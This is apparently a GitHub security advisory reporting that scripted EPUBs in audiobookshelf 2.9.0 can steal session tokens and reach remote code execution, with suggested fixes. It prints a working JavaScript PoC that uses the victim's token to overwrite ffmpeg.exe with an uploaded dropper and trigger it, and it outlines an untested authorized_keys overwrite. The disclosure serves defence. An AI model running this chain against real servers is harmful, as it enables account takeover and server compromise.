You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Opening an ebook with malicious scripts inside leads to code execution inside the browsing context.
With the right privileges of the user, this can lead to remote code execution (RCE) in the worst case.
Tested on version 2.9.0 on Windows.
Details
Because of the epub.js configuration option allowScriptedContent = true, it is possible to execute arbitrary JavaScript code from within an epub file:
epub.js itself uses an iframe to display the epubs. While it does set the sandbox attribute, it also sets allow-same-origin. This can't be changed by the consumer of the library. A combination of allow-scripts and allow-same-origin renders the sandboxing obsolete (see here).
In the case of audiobookshelf, exploitation can range from stealing session tokens to RCE on the server.
I'll describe the path to RCE. We assume a user with high privileges (upload, creation of libraries) views a malicious ebook.
Our goal is to overwrite the FFmpeg executable and trigger its execution.
Firstly, the exploit creates a new podcast library with a folder that's two directories above the FFmpeg binary. Because we created a podcast library, only the title of an uploaded file will add to the path, meaning the title should be the name of the directory containing the binary.
We upload a file with the title 'config' and the filename 'ffmpeg.exe', which will overwrite the legit binary. After placing the malicious binary, we create a new podcast and navigate to the library. The cover of our newly added podcasts gets loaded, which in the end triggers our malicious binary for resizing of the image.
This scenario should be exclusive to Windows, because dropped files on Linux lack the execution bit. I haven't tested this, though. On Linux, we could overwrite ~/.ssh/authorized_keys and provide our own public key so that we can log into the machine. I also haven't tested this.
PoC
An ebook can be crafted with Calibre to include this script:
(asyncfunction(){consttoken=localStorage.token;constbaseHeaders={"Authorization": `Bearer ${token}`,};// Because the file upload always adds the 'title' form field as a directory to a library's base directory,// we need to specify the *parent* of the directory where the ffmpeg and ffprobe binaries reside.// By default, the containing directory is 'config'.// We have endpoints for retrieving directory contents, so it's straight forward to get the correct username.constparentDirectory="C:/Users/USERNAME/AppData/Local/Audiobookshelf";consttitle="config";constfilename="ffmpeg.exe";constlibraryOptions={name: "overlay library",folders: [{"fullPath": parentDirectory}],mediaType: "podcast",// The default is 'book', which leads to a different folder structure for uploads.};letresponse=awaitfetch("/api/libraries",{method: "POST",headers: {
...baseHeaders,"Content-Type": "application/json"},body: JSON.stringify(libraryOptions)});constlibraryMetadata=awaitresponse.json();constlibraryId=libraryMetadata.id;constfolderId=libraryMetadata.folders[0].id;constencodedDropper="endlessly long base64 string";constdummyUrl=`data:application/octet-stream;base64,${encodedDropper}`;constdropper=await(awaitfetch(dummyUrl)).blob();constformData=newFormData();formData.append('title',title);formData.append('library',libraryId);formData.append('folder',folderId);formData.append('0',dropper,"ffmpeg.exe");response=awaitfetch("/api/upload",{method: "POST",headers: baseHeaders,body: formData});constpodcastOptions={path: `${parentDirectory}/dummyFolder`,
folderId,
libraryId,media: {metadata: {author: "GEBIRGE",feedUrl: "https://anchor.fm/s/a121a24/podcast/rss",imageUrl: "https://is1-ssl.mzstatic.com/image/thumb/Podcasts125/v4/a6/69/69/a6696919-3987-fbc0-8e0c-1ba0e1349a2b/mza_6631746544165345331.jpg/600x600bb.jpg",title: "Every Trick in the Book"}}};awaitfetch("/api/podcasts",{method: "POST",headers: {
...baseHeaders,"Content-Type": "application/json"},body: JSON.stringify(podcastOptions)});// Navigate to a page where our new podcast's cover will be displayed.// This retrieves the image, which in the end triggers our malicious ffmpeg.exe binary for resizing => RCE. 🥹setTimeout(function(){window.location.replace(`/library/${libraryId}`);},1000)})()
Impact
Users have to open a malicious ebook.
However, the attacker doesn't have to prepare a book specifically for audiobookshelf, but can use some fingerprinting to determine in what environment it's running.
Distribution of malicious books could be done via pirate sites or even (online) conversion services, which could inject those malicious scripts.
The actual impact depends on the hosting environment. It looks like the most damage can be done on Windows, but an arbitrary file write is powerful enough as is and should easily lead to RCE on Linux, too.
Exploitation inside a container should be more difficult.
Some ideas
In an ideal world, scripted content would be turned off. There are, however, limitations with that approach.
The author of foliate sums it up nicely here.
Maybe the user could be given the option to toggle scripted content.
Other options include server-side sanitisation or even serving epubs from a different origin (a different port would be enough). This way, the script wouldn’t get access to the user’s LocalStorage and therefore their access token.
Apart from this, the free form nature of file uploads and library creations is really powerful. While convenient to have this functionality available in the web UI, maybe a more restrictive approach could be taken.
Maybe a config file on the server could specify the parent directory/directories so that newly created libraries can only be children of those.
Maybe filenames could be chosen by audiobookshelf.
I haven't looked too closely into to code to know if this would go against the spirit of audiobookshelf, though.
That's it! If something's unclear, please ask away.
Summary
Opening an ebook with malicious scripts inside leads to code execution inside the browsing context.
With the right privileges of the user, this can lead to remote code execution (RCE) in the worst case.
Tested on version 2.9.0 on Windows.
Details
Because of the
epub.js
configuration optionallowScriptedContent = true
, it is possible to execute arbitrary JavaScript code from within an epub file:audiobookshelf/client/components/readers/EpubReader.vue
Line 319 in 04ed481
epub.js
itself uses aniframe
to display the epubs. While it does set thesandbox
attribute, it also setsallow-same-origin
. This can't be changed by the consumer of the library. A combination ofallow-scripts
andallow-same-origin
renders the sandboxing obsolete (see here).The developers of
epub.js
warn about this.In the case of
audiobookshelf
, exploitation can range from stealing session tokens to RCE on the server.I'll describe the path to RCE. We assume a user with high privileges (upload, creation of libraries) views a malicious ebook.
Our goal is to overwrite the
FFmpeg
executable and trigger its execution.Firstly, the exploit creates a new podcast library with a folder that's two directories above the
FFmpeg
binary. Because we created a podcast library, only the title of an uploaded file will add to the path, meaning the title should be the name of the directory containing the binary.We upload a file with the title 'config' and the filename 'ffmpeg.exe', which will overwrite the legit binary. After placing the malicious binary, we create a new podcast and navigate to the library. The cover of our newly added podcasts gets loaded, which in the end triggers our malicious binary for resizing of the image.
This scenario should be exclusive to Windows, because dropped files on Linux lack the execution bit. I haven't tested this, though. On Linux, we could overwrite
~/.ssh/authorized_keys
and provide our own public key so that we can log into the machine. I also haven't tested this.PoC
An ebook can be crafted with Calibre to include this script:
Impact
Users have to open a malicious ebook.
However, the attacker doesn't have to prepare a book specifically for
audiobookshelf
, but can use some fingerprinting to determine in what environment it's running.Distribution of malicious books could be done via pirate sites or even (online) conversion services, which could inject those malicious scripts.
The actual impact depends on the hosting environment. It looks like the most damage can be done on Windows, but an arbitrary file write is powerful enough as is and should easily lead to RCE on Linux, too.
Exploitation inside a container should be more difficult.
Some ideas
In an ideal world, scripted content would be turned off. There are, however, limitations with that approach.
The author of
foliate
sums it up nicely here.Maybe the user could be given the option to toggle scripted content.
Other options include server-side sanitisation or even serving epubs from a different origin (a different port would be enough). This way, the script wouldn’t get access to the user’s
LocalStorage
and therefore their access token.Apart from this, the free form nature of file uploads and library creations is really powerful. While convenient to have this functionality available in the web UI, maybe a more restrictive approach could be taken.
Maybe a config file on the server could specify the parent directory/directories so that newly created libraries can only be children of those.
Maybe filenames could be chosen by
audiobookshelf
.I haven't looked too closely into to code to know if this would go against the spirit of
audiobookshelf
, though.That's it! If something's unclear, please ask away.
Cheers
Frederic
PS: Audio warning for the PoC video!
audiobookshelf-xss-to-rce-poc.mp4